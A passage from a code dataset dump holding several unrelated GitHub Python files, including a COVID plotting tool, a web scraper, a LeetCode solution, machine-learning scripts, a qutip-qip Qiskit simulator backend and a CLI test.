datetime.timedelta(days=1)).timestamp())\n return data\n\n @staticmethod\n def handler(*_):\n \"\"\"Handle SIGINT and SIGKILL.\"\"\"\n print('[ABORT]')\n sys.exit(0)\n\n def plot(self, data):\n \"\"\"Show or save plot of data.\"\"\"\n labels = [\n datetime.datetime.fromtimestamp(i[3]).strftime('%Y-%m-%d')\n for i in data\n ]\n if self.args.xkcd:\n plt.xkcd()\n if self.args.dark:\n plt.style.use('dark_background')\n fig, ax1 = plt.subplots()\n ax1.margins(x=.01, y=.01)\n ax1.spines['top'].set_visible(False)\n ax1.bar(labels, [i[2] for i in data], color='tab:red')\n ax1.set_ylabel('differentiation', color='tab:red')\n ax1.tick_params(axis='y', labelcolor='tab:red')\n ax1.tick_params(axis='x', labelrotation=90)\n ax1.set_title(\n f'COVID-19 {\" \".join(self.ids)}{f\" LOG{self.args.base}\" if self.args.log else \"\"} '\n f'({datetime.datetime.fromtimestamp(data[0][3]).strftime(\"%Y-%m-%d\")} – '\n f'{datetime.datetime.fromtimestamp(data[-1][3]).strftime(\"%Y-%m-%d\")})'\n )\n ax2 = ax1.twinx()\n ax2.margins(x=.01, y=.01)\n ax2.plot(labels, [i[1] for i in data], 'o-', color='tab:blue')\n ax2.set_ylabel(self.args.column, color='tab:blue')\n if self.args.log:\n ax2.set_yscale('log', basey=self.args.base)\n ax2.tick_params(axis='y', labelcolor='tab:blue')\n height = math.ceil(len(labels) / 10)\n fig.set_size_inches(height * 2, height, forward=True)\n fig.tight_layout()\n if self.args.show:\n print('[SHOW]')\n plt.show()\n else:\n os.makedirs('plots', exist_ok=True)\n suffix = datetime.datetime.fromtimestamp(data[-1][3]).strftime(\n \"%Y-%m-%d\") if not self.args.suffix else self.args.suffix\n file = f'plots/covid-19-{\"-\".join(self.ids)}-{self.args.column}' \\\n f'{f\"-log{self.args.base}\" if self.args.log else \"\"}' \\\n f'-{suffix}' \\\n f'{\"-xkcd\" if self.args.xkcd else \"\"}' \\\n f'.svg'.lower()\n print(f'[SAVE] {os.path.abspath(file)}')\n plt.savefig(file, transparent=True)\n print('[CLOSE]')\n plt.close()\n\n def main(self):\n \"\"\"Entry point.\"\"\"\n signal.signal(signal.SIGINT, self.handler)\n signal.signal(signal.SIGTERM, self.handler)\n self.parse_args(sys.argv[1:])\n content = self.poll()\n regions = self.get_regions(content)\n if self.args.list:\n _ = [print(f'[INFO] \\'{i[0]}\\': {i[1]}') for i in regions.items()]\n else:\n self.ids = sorted({\n i.strip().upper() for i in self.args.country.strip().split(',')\n })\n _ = [\n print(f'[INFO] \\'{i}\\': {regions[i]}')\n if i in regions.keys() else self.error(f'KeyError: \\'{i}\\'')\n for i in self.ids\n ]\n if '*' in self.ids:\n self.ids = {'WORLD'}\n self.plot(self.get_data(content))\n print('[EXIT]')\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(GeoPlot().main())\n","repo_name":"s9latimm/covid-19-geoplot","sub_path":"covid.py","file_name":"covid.py","file_ext":"py","file_size_in_byte":9540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43633998174","text":"import requests\nfrom bs4 import BeautifulSoup\n\n#n11 sitesindeki dizüstü bilgisayarlar üzerinden 20 ürünün adı, linkini, eski ve yeni fiyatlarını çektik\n\nurl=\"https://www.n11.com/bilgisayar/dizustu-bilgisayar\"\n\nhtml=requests.get(url).content\nsoup=BeautifulSoup(html,\"html.parser\") #n11 sitesindeki dizüstü bilgisayar sayfasındaki kaynak kodları çekmemizi sağlar\n\nlist=soup.find_all(\"li\",{\"class\":\"column\"},limit=20) #limit=20 ile sadece 20 ürün listelenmesini sağladık\n\nfor li in list:\n name=li.div.a.h3.text.strip() #bu şekilde class belirtmesek de ilk sıradaki div etiketinin ilk a etiketini alır...\n link=li.div.a.get(\"href\")\n oldprice=li.find(\"div\",{\"class\":\"proDetail\"}).find_all(\"a\")[0].text.strip().strip(\"TL\") #sayfada belirtilen classta birinci a tagında üstü çizili olarak eski fiyat yer alıyor\n newprice=li.find(\"div\",{\"class\":\"proDetail\"}).find_all(\"a\")[1].text.strip().strip(\"TL\") #ürün detaylarında ikinci a tagında yeni fiyat yazıyor\n\n print(f\"name: {name}, link: {link}, old price: {oldprice}, new price: {newprice}\")\n\n","repo_name":"busraozdemir0/Python_Mini_Projects","sub_path":"beautifulSoup/n11_demo.py","file_name":"n11_demo.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38927294240","text":"#\n# @lc app=leetcode id=117 lang=python3\n#\n# [117] Populating Next Right Pointers in Each Node II\n#\n\n# @lc code=start\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\nclass Solution:\n def connect(self, root: 'Node') -> 'Node':\n if root is None:\n return root\n\n nodes = [root]\n self._connect(nodes)\n return root\n\n def _connect(self, nodes):\n next_level_nodes = []\n\n length = len(nodes)\n if length == 0:\n return\n\n for n in range(length - 1):\n nodes[n].next = nodes[n + 1]\n\n for n in nodes:\n if n.left:\n next_level_nodes.append(n.left)\n if n.right:\n next_level_nodes.append(n.right)\n\n self._connect(next_level_nodes)\n# @lc code=end\n","repo_name":"huhudev-git/leetcode","sub_path":"117.populating-next-right-pointers-in-each-node-ii.py","file_name":"117.populating-next-right-pointers-in-each-node-ii.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1682248264","text":"\"\"\"\nhttps://stepik.org/lesson/680263/step/11?thread=solutions&unit=678921\n\nОдинаковые слоги\nНапишите программу, которая выводит слова, состоящие из двух одинаковых слогов.\n\nФормат входных данных\nНа вход программе подается произвольное количество слов, каждое на отдельной строке.\n\nФормат выходных данных\nПрограмма должна из введенных слов вывести только те, которые состоят из двух одинаковых слогов. Слова должны быть расположены в своем исходном порядке, каждое на отдельной строке.\n\nПримечание 1. Словом будем считать любую непрерывную последовательность из одной или нескольких символов, соответствующих \\w.\n\"\"\"\n\nimport re\nfrom sys import stdin\n\ni = [i.strip('\\n') for i in stdin]\npattern = r'(\\w+)\\1'\nfor string in i:\n match = re.fullmatch(pattern, string)\n if match:\n print(string)","repo_name":"dihofrin/stepik","sub_path":"Python for Professionals/11. Regular expressions/part 6/step 11.py","file_name":"step 11.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24007580538","text":"from manager import Manager\nfrom cleaner import Cleaner\nfrom emloyee import Employee\n\nclass Office():\n def __init__(self, name):\n self.name = name\n self.documents = []\n self.managers = []\n self.cleaners = []\n\n def hireManager(self, name):\n newEmployee = Manager(name)\n self.managers.append(newEmployee)\n\n def hireCleaner(self, name):\n newEmployee = Cleaner(name)\n self.cleaners.append(newEmployee)\n \n def startWorkDay(self):\n for manager in self.managers:\n manager.work(self)\n for cleaner in self.cleaners:\n cleaner.work()\n\nif __name__ == \"__main__\":\n \n glassesOffice = Office(\"glasses\")\n glassesOffice.hireManager(\"kj\")\n glassesOffice.managers[0].name == \"kj\"\n\n freeLancer = Employee(\"Boris\")\n freeLancer.work(glassesOffice)\n print(len(glassesOffice.documents))\n\n ToysAreUs = Office(\"ToysAreUs\")\n freeLancer.work(ToysAreUs)\n \n manager = Manager(\"Guri\")\n manager.hireEmployee(\"kein\")\n manager.hireEmployee(\"Dani\")\n\n manager1 = Manager(\"Guri\")\n manager1.hireEmployee(\"kein\")\n manager1.hireEmployee(\"Dani\")\n\n manager.work(glassesOffice)\n\n ToysAreUs.hireManager(\"Shlomi\")\n ToysAreUs.managers[1].hireEmployee(\"kein\")\n ToysAreUs.managers[1].hireEmployee(\"Hadas\")\n ToysAreUs.hireCleaner(\"George\")\n ToysAreUs.hireCleaner(\"Beni\")\n ToysAreUs.hireCleaner(\"Loda\")\n ToysAreUs.startWorkDay()\n print(len(ToysAreUs.documents))\n\n \n","repo_name":"bekihs/python-course-2019","sub_path":"office/office.py","file_name":"office.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33504843351","text":"from rest_framework import serializers, exceptions\nfrom .models import Account, VerifyPhone, UserCard\nfrom .validators import card_validity_period_validator, card_number_validator\n\n\nclass UserCardSerializer(serializers.ModelSerializer):\n class Meta:\n model = UserCard\n fields = ['user', 'card_number', 'validity_period', 'card_holder']\n\n def validate(self, attrs):\n num = attrs['card_number']\n mud = attrs['validity_period']\n if card_number_validator(num) is False:\n raise exceptions.ValidationError(\n {'success': False,\n 'message': \"Karta raqami noto'g'ri kiritildi\\nIltimos faqat Uzcard yoki Humo kartalarini kiriting!\"})\n if card_validity_period_validator(mud) is False:\n raise exceptions.ValidationError(\n {'success': False, 'message': \"Kartani amal qilish muddati noto'g'ri kiritildi!\"})\n return attrs\n\n\nclass LoginSerializer(serializers.ModelSerializer):\n class Meta:\n model = Account\n fields = ['id', 'phone']\n\n\nclass VerifySerializer(serializers.ModelSerializer):\n class Meta:\n model = VerifyPhone\n fields = '__all__'\n\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = Account\n fields = ['id', 'phone', 'date_birth', 'name', 'email']\n","repo_name":"ravshandev1/stroybaza","sub_path":"accounts/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71768716840","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport jieba.posseg as pseg\n\nfrom gensim.models import Doc2Vec\n\nif __name__ == '__main__':\n # check and process input arguments\n # if len(sys.argv) < 3:\n # sys.exit(1)\n # file, word = sys.argv[1:3]\n\n\n model = Doc2Vec.load('../data/out1')\n\n test_data = '价格便宜,味道也不错啊,服务态度也很好,尤其是那个鸳鸯雪豆腐特别好吃'\n test_cut_raw = []\n item = pseg.cut(test_data)\n for k in list(item):\n test_cut_raw.append(k.word)\n print(test_cut_raw)\n inferred_vector = model.infer_vector(test_cut_raw)\n sims = model.docvecs.most_similar([inferred_vector], topn=1)\n print(sims)\n # sims是一个tuples,(index_of_document, similarity)\n\n # docvecs = Doc2Vec.load('../data/out2').docvecs\n #\n # print(docvecs.most_similar(1))\n","repo_name":"zshwuhan/feng-python-apply","sub_path":"feng-nlp-python/src/query_doc2vec_model.py","file_name":"query_doc2vec_model.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24346552818","text":"from concurrent.futures import ProcessPoolExecutor\nfrom time import sleep\n\ndef task(message):\n sleep(2)\n return message\n\ndef main():\n executor = ProcessPoolExecutor()\n future = executor.submit(task,(\"Zakończone!\"))\n print(future.done())\n sleep(2)\n print(future.done())\n print(future.result())\n\nif __name__ == '__main__':\n main()\n","repo_name":"albim72/PY_Z_2002","sub_path":"DZIEN_3/poolexecutor.py","file_name":"poolexecutor.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16303326482","text":"import numpy as np\nfrom tkinter import Tk, messagebox\nfrom tkinter.filedialog import askdirectory, asksaveasfile\nimport os\nimport sys\n\n# Write output to csv file\ndef exportCSV ( path, data ):\n try:\n # Not sure if this is legal but I replaced the newline character with a comma and it worked beautifully\n np.savetxt(path,data,fmt='%5.2f',delimiter=',',newline=',') \n sys.exit(\"File written successfully\")\n except PermissionError:\n sys.exit(\"File failed to write, check your folder permissions\")\n\n# given file address, convert file to CSV\ndef convertCSV ( address ):\n npFile = np.genfromtxt(address, delimiter=',', skip_header=1, usecols=(0,1))\n return npFile\n\n# Run a dialog to select a directory\ndef fileDialog():\n # Eventually replace this with an actual file dialog\n Tk().withdraw()\n directory = askdirectory()\n return directory\n\n# Check that folder has the required files in it\ndef checkFolderContents( directory ):\n if os.path.isfile(os.path.join(directory, \"bothPower.csv\")) and os.path.isfile(os.path.join(directory, \"bothCadence.csv\")) and os.path.isfile(os.path.join(directory, \"bothBurst.csv\")):\n return True\n else:\n return False\n\n# Find size of output array based on length of input\n# outputSize :: npArray -> List -> Int\ndef outputSize ( array, periods ):\n duration = array[len(array)-1,0] - array[0,0] \n try:\n size = list(map(lambda k: k > duration, periods)).index(True)\n except:\n size = len(periods)\n\n return size\n\ndef cadCalc( find, searchArray, cadenceArray ):\n cadences = []\n for f in range(0,len(find)):\n index = np.where( searchArray == find[f] )[0]\n cadences.append(cadenceArray[index[0]][1])\n return index\n\n\n# Calculate the thresholds of given array based on locations\n# findThresholds :: tuple -> array -> list\ndef findThresholds ( locations, array ):\n mmxCalc (locations, array)\n\n thresholds = [max(t) for t in buckets]\n \n return thresholds\n\n# Find the 0.5s max average cadence\n# maxCadCalc :: npArray -> float\ndef maxCadCalc ( array ):\n ind = np.where( array == np.amax(array[:,1]) ) [0] [0]\n start = ind -1\n fin = ind + 1\n avgCad = mmxCalc ( (start, fin), array )\n return avgCad\n\n# calculate the mean of whatever you pass into it (power, cadence, torque, etc)\n# mmxCalc :: tuple -> npArray -> float\ndef mmxCalc ( location, data ):\n # consider is np.ndarray type\n consider = data[location[0]:location[1],1]\n mmx = sum(consider)/len(consider)\n return mmx\n\n# Make \"Buckets\" with all of the potential start and end times for each period to be checked later\n# makeBuckets :: list -> npArray -> array\ndef makeBuckets ( periods, array ):\n\n # Find how big to make buckets array\n \n size = outputSize( array, periods )\n \n # Should automate creating these buckets so that this is more responsive\n buckets = [[]for y in range(size)]\n\n for i in range(0,len(array)):\n\n for j in range(i+1,len(array)):\n interval = array[j,0] - array[i,0]\n if interval > 65:\n break\n \n for k in range(0,len(buckets)):\n if periods[k]-0.05 < interval < periods[k]+0.5:\n mmp = mmxCalc((i,j),array)\n buckets[k].append([array[i,0],array[j,0],mmp])\n\n # Buckets are list of tuples populated with numpy.float64\n return buckets\n\n# Find the start and end index of the MMP for each zone\n# findIndices :: array -> npArray -> list of tuples\ndef findIndex ( buckets, array ):\n indices = []\n for bucket in buckets:\n mmp = max([x[2] for x in bucket])\n \n # Find the bucket element holding the max mean power to get the start and end time data\n loc = np.where( np.isin(bucket, mmp, assume_unique=True) == True )[0][0]\n\n # Find index of array at start and end times \n start = np.where(np.isin(array, bucket[loc][0], assume_unique=True) == True)[0][0]\n end = np.where(np.isin(array, bucket[loc][1], assume_unique=True) == True)[0][0]\n\n indices.append((start,end))\n\n return indices\n\n# Start Point\ndef main():\n \n # Define which ranges we want max sustained power for\n periods = [1,5,10,15,20,30,60]\n\n while True:\n inFolder = fileDialog()\n\n if checkFolderContents( inFolder ):\n \n pwrRaw = convertCSV( os.path.join(inFolder, \"bothPower.csv\") )\n cadence = convertCSV( os.path.join(inFolder, \"bothCadence.csv\") )\n trq = convertCSV( os.path.join(inFolder, \"bothBurst.csv\") )\n\n buckets = makeBuckets ( periods, pwrRaw )\n\n pwrInd = findIndex ( buckets, pwrRaw )\n trqInd = findIndex ( buckets, trq )\n\n output = [ maxCadCalc(cadence) ]\n\n # This could probably also be it's own function but it's easy enough here\n # Combines all of the outputs together and adds zeros if missing values\n for p in range(0,len(periods)):\n if p < len(pwrInd):\n output.append(mmxCalc(pwrInd[p],pwrRaw))\n output.append(mmxCalc(pwrInd[p],cadence))\n else:\n output.append(0)\n output.append(0)\n\n for q in range(0,len(periods)):\n if q < len(trqInd):\n output.append(mmxCalc(trqInd[q],trq))\n else:\n output.append(0)\n\n # This might be a hack but the parentheses don't print when I use zip even though it should give a tuple\n exportCSV( os.path.join( inFolder, \"output.csv\"), output )\n\n else:\n messagebox.showerror(\"Error\", \"Missing required csv file\")\n\n# In case I want to make this part of a bigger program in the future\nif __name__ == \"__main__\":\n main()\n","repo_name":"ryandodyk/infoCrank","sub_path":"powercurve.py","file_name":"powercurve.py","file_ext":"py","file_size_in_byte":5835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"890968791","text":"from email.header import Header\nfrom qutip import tensor, basis\nimport numpy as np\nimport uuid\nimport random\nfrom collections import Counter\nfrom qutip_qip import circuit\n\nfrom qutip_qip.operations.gateclass import Z\nfrom qutip_qip.circuit import QubitCircuit\nfrom qutip_qip.circuit.circuitsimulator import CircuitResult\n\nfrom .job import Job\nfrom .converter import convert_qiskit_circuit\nfrom qiskit.providers import BackendV1, Options\nfrom qiskit.providers.models import (\n BackendConfiguration,\n QasmBackendConfiguration,\n)\nfrom qiskit.result import Result, Counts\nfrom qiskit.result.models import ExperimentResult, ExperimentResultData\nfrom qiskit.quantum_info import Statevector\nfrom qiskit.circuit import QuantumCircuit\nfrom qiskit.qobj import QobjExperimentHeader\n\n\nclass QiskitSimulatorBase(BackendV1):\n \"\"\"\n The base class for qutip_qip based qiskit backends.\n \"\"\"\n\n def __init__(self, configuration=None, provider=None, **fields):\n super().__init__(configuration=configuration, provider=provider)\n self.options.set_validator(\n \"shots\", (1, self.configuration().max_shots)\n )\n\n def run(self, qiskit_circuit: QuantumCircuit, **run_options) -> Job:\n \"\"\"\n Simulates a circuit on the required backend.\n\n Parameters\n ----------\n qiskit_circuit : QuantumCircuit\n The qiskit circuit to be simulated.\n\n **run_options:\n Additional run options for the backend.\n\n Valid options are:\n\n shots : int\n Number of times to perform the simulation\n allow_custom_gate: bool\n Allow conversion of circuit using unitary matrices\n for custom gates.\n\n Result\n ------\n qutip_qip.qiskit.job.Job\n Job that stores results and execution data\n \"\"\"\n # configure the options\n self.set_options(\n shots=run_options[\"shots\"]\n if \"shots\" in run_options\n else self._default_options().shots,\n allow_custom_gate=run_options[\"allow_custom_gate\"]\n if \"allow_custom_gate\" in run_options\n else self._default_options().allow_custom_gate,\n )\n qutip_circ = convert_qiskit_circuit(\n qiskit_circuit, allow_custom_gate=self.options.allow_custom_gate\n )\n job_id = str(uuid.uuid4())\n\n job = Job(\n backend=self,\n job_id=job_id,\n result=self._run_job(job_id, qutip_circ),\n )\n return job\n\n\nclass QiskitCircuitSimulator(QiskitSimulatorBase):\n \"\"\"\n Qiskit backend dealing with operator-level\n circuit simulation using qutip_qip's CircuitSimulator.\n\n\n \"\"\"\n\n MAX_QUBITS_MEMORY = 10\n _DEFAULT_CONFIGURATION = {\n \"backend_name\": \"circuit_simulator\",\n \"backend_version\": \"0.1\",\n \"n_qubits\": MAX_QUBITS_MEMORY,\n \"url\": \"https://github.com/qutip/qutip-qip\",\n \"simulator\": True,\n \"local\": True,\n \"conditional\": False,\n \"open_pulse\": False,\n \"memory\": False,\n \"max_shots\": int(1e6),\n \"coupling_map\": None,\n \"description\": \"A qutip-qip based operator-level circuit simulator.\",\n \"basis_gates\": [],\n \"gates\": [],\n }\n\n def __init__(self, configuration=None, provider=None, **fields):\n\n if configuration is None:\n configuration = QasmBackendConfiguration.from_dict(\n QiskitCircuitSimulator._DEFAULT_CONFIGURATION\n )\n\n super().__init__(\n configuration=configuration, provider=provider, **fields\n )\n\n def _sample_shots(self, count_probs: dict) -> Counts:\n \"\"\"\n Sample measurements from a given probability distribution\n\n Parameters\n ----------\n count_probs: dict\n Probability distribution corresponding\n to different classical outputs.\n\n Returns\n -------\n qiskit.result.Counts\n Returns the Counts object sampled according to\n the given probabilities and configured shots.\n \"\"\"\n shots = self.options.shots\n samples = random.choices(\n list(count_probs.keys()), list(count_probs.values()), k=shots\n )\n return Counts(Counter(samples))\n\n def _parse_results(\n self,\n statistics: CircuitResult,\n job_id: str,\n qutip_circuit: QubitCircuit,\n ) -> Result:\n \"\"\"\n Returns a parsed object of type qiskit.result.Result\n for the CircuitSimulator\n\n Parameters\n ----------\n statistics : qutip_qip.circuit.\n circuitsimulator.CircuitResult\n The result obtained from `run_statistics` on\n a circuit on CircuitSimulator\n\n job_id : str\n Unique ID identifying a job.\n\n qutip_circuit : QubitCircuit\n The circuit being simulated\n\n Returns\n -------\n qiskit.result.Result\n Result of the simulation\n \"\"\"\n count_probs = {}\n counts = None\n\n def convert_to_hex(count):\n return hex(int(\"\".join(str(i) for i in count), 2))\n\n if statistics.cbits[0] is not None:\n for i, count in enumerate(statistics.cbits):\n count_probs[convert_to_hex(count)] = statistics.probabilities[\n i\n ]\n # sample the shots from obtained probabilities\n counts = self._sample_shots(count_probs)\n\n statevector = random.choices(\n statistics.final_states, weights=statistics.probabilities\n )[0]\n\n exp_res_data = ExperimentResultData(\n counts=counts, statevector=Statevector(data=np.array(statevector))\n )\n\n header = QobjExperimentHeader.from_dict(\n {\n \"name\": qutip_circuit.name\n if hasattr(qutip_circuit, \"name\")\n else \"\",\n \"n_qubits\": qutip_circuit.N,\n }\n )\n\n exp_res = ExperimentResult(\n shots=self.options.shots,\n success=True,\n data=exp_res_data,\n header=header,\n )\n\n result = Result(\n backend_name=self.configuration().backend_name,\n backend_version=self.configuration().backend_version,\n qobj_id=id(qutip_circuit),\n job_id=job_id,\n success=True,\n results=[exp_res],\n )\n\n return result\n\n def _run_job(self, job_id: str, qutip_circuit: QubitCircuit) -> Result:\n \"\"\"\n Run a QubitCircuit on the CircuitSimulator.\n\n Parameters\n ----------\n job_id : str\n Unique ID identifying a job.\n\n qutip_circuit : QubitCircuit\n The circuit obtained after conversion\n from QuantumCircuit to QubitCircuit.\n\n Returns\n -------\n qiskit.result.Result\n Result of the simulation\n \"\"\"\n zero_state = basis([2] * qutip_circuit.N, [0] * qutip_circuit.N)\n statistics = qutip_circuit.run_statistics(state=zero_state)\n\n return self._parse_results(\n statistics=statistics, job_id=job_id, qutip_circuit=qutip_circuit\n )\n\n @classmethod\n def _default_options(cls):\n \"\"\"\n Default options for the backend. To be updated.\n \"\"\"\n return Options(shots=1024, allow_custom_gate=True)\n","repo_name":"christian512/qutip-qip","sub_path":"src/qutip_qip/qiskit/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":7459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"8338613085","text":"# import pandas, numpy, and matplotlib\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVR, SVR\nfrom scipy.stats import uniform\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.compose import TransformedTargetRegressor\nfrom sklearn.impute import KNNImputer\nfrom sklearn.model_selection import RandomizedSearchCV\nimport sklearn.metrics as skmet\nimport matplotlib.pyplot as plt\n\nimport os\nimport sys\nsys.path.append(os.getcwd() + \"/helperfunctions\")\nfrom preprocfunc import OutlierTrans\n\n\npd.set_option('display.width', 200)\npd.set_option('display.max_columns', 20)\npd.set_option('display.max_rows', 200)\npd.options.display.float_format = '{:,.2f}'.format\n\n# load the land temperatures data\nlandtemps = pd.read_csv(\"data/landtempsb2019avgs.csv\")\nlandtemps.set_index('locationid', inplace=True)\n\nfeature_cols = ['latabs','elevation']\n\nlandtemps[['avgtemp'] + feature_cols].\\\n agg(['count','min','median','max']).T\n\n# create training and testing DataFrames\nX_train, X_test, y_train, y_test = \\\n train_test_split(landtemps[feature_cols],\\\n landtemps[['avgtemp']], test_size=0.1, random_state=0)\n\n\n# add feature selection and a linear model to the pipeline and look at the parameter estimates\nsvr = LinearSVR(epsilon=1.0, max_iter=100000)\n\nknnimp = KNNImputer(n_neighbors=45)\n\npipe1 = make_pipeline(OutlierTrans(3), knnimp, StandardScaler(), svr)\n\nttr=TransformedTargetRegressor(regressor=pipe1,\n transformer=StandardScaler())\n\nsvr_params = {\n 'regressor__linearsvr__epsilon': uniform(loc=0, scale=1.5),\n 'regressor__linearsvr__C': uniform(loc=0, scale=20)\n}\n\nrs = RandomizedSearchCV(ttr, svr_params, cv=10, scoring='neg_mean_absolute_error')\nrs.fit(X_train, y_train)\n\nrs.best_params_\nrs.best_score_\n\n\n# get predictions and residuals\npred = rs.predict(X_test)\n\npreddf = pd.DataFrame(pred, columns=['prediction'],\n index=X_test.index).join(X_test).join(y_test)\n\npreddf['resid'] = preddf.avgtemp-preddf.prediction\n\nplt.scatter(preddf.prediction, preddf.resid, color=\"blue\")\nplt.axhline(0, color='red', linestyle='dashed', linewidth=1)\nplt.title(\"Scatterplot of Predictions and Residuals\")\nplt.xlabel(\"Predicted Gax Tax\")\nplt.ylabel(\"Residuals\")\nplt.show()\n\n# do a grid search to find the best value of alpha\nsvr = SVR(kernel='rbf')\n\npipe1 = make_pipeline(OutlierTrans(3), knnimp, StandardScaler(), svr)\n\nttr=TransformedTargetRegressor(regressor=pipe1,\n transformer=StandardScaler())\n\nsvr_params = {\n 'regressor__svr__epsilon': uniform(loc=0, scale=5),\n 'regressor__svr__C': uniform(loc=0, scale=20),\n 'regressor__svr__gamma': uniform(loc=0, scale=100)\n }\n\nrs = RandomizedSearchCV(ttr, svr_params, cv=10, scoring='neg_mean_absolute_error')\nrs.fit(X_train, y_train)\n\nrs.best_params_\nrs.best_score_\n\n\n# get predictions and residuals\npred = rs.predict(X_test)\n\npreddf = pd.DataFrame(pred, columns=['prediction'],\n index=X_test.index).join(X_test).join(y_test)\n\npreddf['resid'] = preddf.avgtemp-preddf.prediction\n\nplt.scatter(preddf.prediction, preddf.resid, color=\"blue\")\nplt.axhline(0, color='red', linestyle='dashed', linewidth=1)\nplt.title(\"Scatterplot of Predictions and Residuals\")\nplt.xlabel(\"Predicted Gax Tax\")\nplt.ylabel(\"Residuals\")\nplt.show()\n\n\npd.DataFrame(np.logspace(0, 4, 10), columns=['values']).to_excel('views/test.xlsx')\n\nuniform(loc=0, scale=4).rvs(10)\nuniform(loc=0.1, scale=2.0).rvs(100)\n\n# plot the residuals\nplt.hist(preddf.resid, color=\"blue\", bins=np.arange(-0.5,1.0,0.25))\nplt.axvline(preddf.resid.mean(), color='red', linestyle='dashed', linewidth=1)\nplt.title(\"Histogram of Residuals for Gax Tax Model\")\nplt.xlabel(\"Residuals\")\nplt.ylabel(\"Frequency\")\nplt.xlim()\nplt.show()\n\n# plot predictions against the residuals\nplt.scatter(preddf.prediction, preddf.resid, color=\"blue\")\nplt.axhline(0, color='red', linestyle='dashed', linewidth=1)\nplt.title(\"Scatterplot of Predictions and Residuals\")\nplt.xlabel(\"Predicted Gax Tax\")\nplt.ylabel(\"Residuals\")\nplt.show()\n\n\n# do kfold cross validation\nX_train, X_test, y_train, y_test = \\\n train_test_split(features,\\\n target, test_size=0.1, random_state=22)\n\nkf = KFold(n_splits=3, shuffle=True, random_state=0)\n\ncross_validate(ttr, X=X_train, y=y_train,\n cv=kf, scoring=('r2', 'neg_mean_absolute_error'), n_jobs=-1)\n\n","repo_name":"sparsh-ai/recohut","sub_path":"docs/10-datascience/algorithms/SupportVectorRegression/2. nonlinear_svr.py","file_name":"2. nonlinear_svr.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"18"} +{"seq_id":"13431431205","text":"#!/usr/bin/env python\n# -*- coding=utf-8 -*-\n'''\n@Author: Julywaltz\n@Date: 2019-06-15 14:44:07\n@LastEditors: Julywaltz\n@LastEditTime: 2019-06-15 15:08:08\n@Version: $Id$\n'''\n\n\ndef f_num():\n '''\n 生成斐波那契数列\n '''\n a = 0\n b = 1\n for _ in range(20):\n (b, a) = (a, a + b)\n print(a, end=' ')\n\n\nif __name__ == \"__main__\":\n f_num()\n","repo_name":"julywaltz/testCode","sub_path":"fibonacci_sequence.py","file_name":"fibonacci_sequence.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25226597175","text":"import socket\nfrom unittest import mock\n\n\ncachefile = '''\\\n10.0.0.1 h.foo\n10.0.0.6 h.qux\n'''\n\n\ndef test_cli_find(socketclass_mock, findcli):\n openmock = mock.mock_open(read_data=cachefile)\n with mock.patch('uns.cache.open', openmock), \\\n mock.patch('os.path.exists') as existsmock:\n existsmock.return_value = True\n\n sock = socketclass_mock.return_value\n sock.recvfrom.side_effect = [\n (b'\\x02h.foo', ('10.0.0.1', 5333)),\n (b'\\x02h.bar', ('10.0.0.2', 5333)),\n (b'\\x02h.baz', ('10.0.0.3', 3333)),\n ]\n\n s, o, e = findcli('h.')\n assert o == '''\\\n10.0.0.1 h.foo [cache]\n10.0.0.6 h.qux [cache]\n10.0.0.1 h.foo\n10.0.0.2 h.bar\n10.0.0.3 h.baz\n'''\n socketclass_mock.assert_called_once()\n sock = socketclass_mock.return_value\n sock.settimeout.assert_called_with(5)\n\n # timeout\n sock.recvfrom.side_effect = socket.timeout\n s, o, e = findcli('h.')\n assert e == 'Timeout reached.\\n'\n assert s == 2\n\n # ctrl+c\n sock.recvfrom.side_effect = KeyboardInterrupt\n s, o, e = findcli('h.')\n assert s == 3\n assert e == 'Terminated by user.\\n'\n","repo_name":"pylover/unspy","sub_path":"tests/test_cli_find.py","file_name":"test_cli_find.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1274463167","text":"from dotenv import load_dotenv\nload_dotenv()\nimport csv\nimport mysql_import\nimport postgres_import\nimport csv_import\nimport os\n\n\nschema = None\ncommands = {}\n\n\ndef write_csv(table: str, cursor, colum_names: list, schema: str) -> bool:\n path_for_file = catch_table_path(table, schema)\n table_data = []\n\n for row in cursor:\n table_data.append(row)\n\n # headers = 